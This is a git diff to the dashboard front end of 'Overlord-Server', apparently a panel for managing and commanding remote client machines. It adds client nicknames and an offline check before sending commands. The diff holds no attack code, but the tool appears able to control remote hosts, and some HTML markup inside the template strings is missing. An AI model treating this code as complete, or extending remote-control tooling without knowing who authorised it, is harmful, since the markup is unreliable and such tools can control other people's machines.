diff --git a/Overlord-Server/public/assets/main.js b/Overlord-Server/public/assets/main.js
index 9ab35b7..efb6999 100644
--- a/Overlord-Server/public/assets/main.js
+++ b/Overlord-Server/public/assets/main.js
@@ -65,6 +65,19 @@ function detectClientPlatform(clientId) {
return "unknown";
}
+function getClientCard(clientId) {
+ if (!clientId) return null;
+ const selectorId =
+ typeof CSS !== "undefined" && typeof CSS.escape === "function"
+ ? CSS.escape(clientId)
+ : clientId;
+ return document.querySelector(`article[data-id="${selectorId}"]`);
+}
+
+function isClientOnline(clientId) {
+ return getClientCard(clientId)?.dataset.online === "true";
+}
+
function applyMenuSupportRules(clientId) {
const platform = detectClientPlatform(clientId);
const isWindows = platform === "windows";
@@ -240,7 +253,7 @@ function initializeRenderer() {
pageLabel,
openMenu: (id, x, y) => {
applyMenuSupportRules(id);
- openMenu(id, x, y, setContext);
+ openMenu(id, x, y, setContext, { isOnline: isClientOnline(id) });
loadPluginsForClient(id);
},
openModal,
@@ -510,6 +523,27 @@ window.removeClientFromDashboard = async (clientId) => {
}
};
+window.setClientNickname = async (clientId, nickname) => {
+ if (!clientId) return false;
+ try {
+ const res = await fetch(`/api/clients/${clientId}/nickname`, {
+ method: "PATCH",
+ headers: { "Content-Type": "application/json" },
+ body: JSON.stringify({ nickname: nickname || "" }),
+ });
+ if (!res.ok) {
+ const data = await res.json().catch(() => ({}));
+ alert(data.error || "Failed to update client nickname");
+ return false;
+ }
+ return true;
+ } catch (err) {
+ console.error(err);
+ alert("Failed to update client nickname");
+ return false;
+ }
+};
+
window.banClient = async (clientId) => {
if (!clientId) return;
if (!confirm(`Ban IP for ${clientId} and block future connections?`)) return;
@@ -686,6 +720,31 @@ menu.addEventListener("click", async (e) => {
}
closeMenu(clearContext);
return;
+ } else if (action === "set-nickname") {
+ const card = getClientCard(contextCard);
+ const currentNickname = (card?.dataset.nickname || "").trim();
+ const input = prompt(
+ `Set nickname for ${contextCard}\n\nLeave blank to clear nickname.`,
+ currentNickname,
+ );
+ if (input === null) {
+ closeMenu(clearContext);
+ return;
+ }
+
+ const trimmed = input.trim();
+ const updated = await window.setClientNickname(contextCard, trimmed || null);
+ if (updated) {
+ setTimeout(() => loadWithOptions({ force: true }), 200);
+ }
+ closeMenu(clearContext);
+ return;
+ }
+
+ if (!isClientOnline(contextCard)) {
+ alert("Client is offline. This command can only be used while the client is online.");
+ closeMenu(clearContext);
+ return;
}
const ok = await sendCommand(contextCard, action);
diff --git a/Overlord-Server/public/assets/render.js b/Overlord-Server/public/assets/render.js
index 5759755..80b71b9 100644
--- a/Overlord-Server/public/assets/render.js
+++ b/Overlord-Server/public/assets/render.js
@@ -132,8 +132,6 @@ export function createRenderer({
card.addEventListener("contextmenu", (e) => {
e.preventDefault();
if (isViewer) return;
- const isOnline = card.dataset.online === "true";
- if (!isOnline) return;
const clientId = card.dataset.id;
if (!clientId) return;
const { clientX, clientY } = e;
@@ -167,12 +165,15 @@ export function createRenderer({
card.dataset.online = String(!!client.online);
card.dataset.os = String(client.os || "").toLowerCase();
+ card.dataset.nickname = String(client.nickname || "");
const os = osBadge(client.os || "unknown");
const arch = archBadge(client.arch || "");
const ver = versionBadge(client.version || "");
const mons = monitorsBadge(client.monitors);
const deviceId = shortId(client.id);
const hwid = shortId(client.hwid || "");
+ const nickname = String(client.nickname || "").trim();
+ const displayName = nickname || client.host || deviceId;
card.className = `card rounded-xl border border-slate-800 bg-slate-900/70 p-4 shadow-lg ${client.online ? "" : "card-offline"} tone-${os.tone}`;
const cardThumb = client.thumbnail
? (() => {
@@ -202,7 +203,8 @@ export function createRenderer({
${countryToFlag(client.country)}
- ${escapeHtml(client.host || deviceId)}
+ ${escapeHtml(displayName)}
+ ${nickname && client.host ? ` ${escapeHtml(client.host)}` : ""}
${escapeHtml(client.user || "unknown")}
@@ -223,7 +225,7 @@ export function createRenderer({
${formatPing(client.pingMs)}
- ${isViewer ? "" : ``}
+ ${isViewer ? "" : ``}
${isViewer ? "" : ``}
diff --git a/Overlord-Server/public/assets/ui.js b/Overlord-Server/public/assets/ui.js
index c80766b..74a6485 100644
--- a/Overlord-Server/public/assets/ui.js
+++ b/Overlord-Server/public/assets/ui.js
@@ -19,7 +19,8 @@ menu.innerHTML = `
-
+
+
Plugins
@@ -35,8 +36,15 @@ modal.innerHTML = `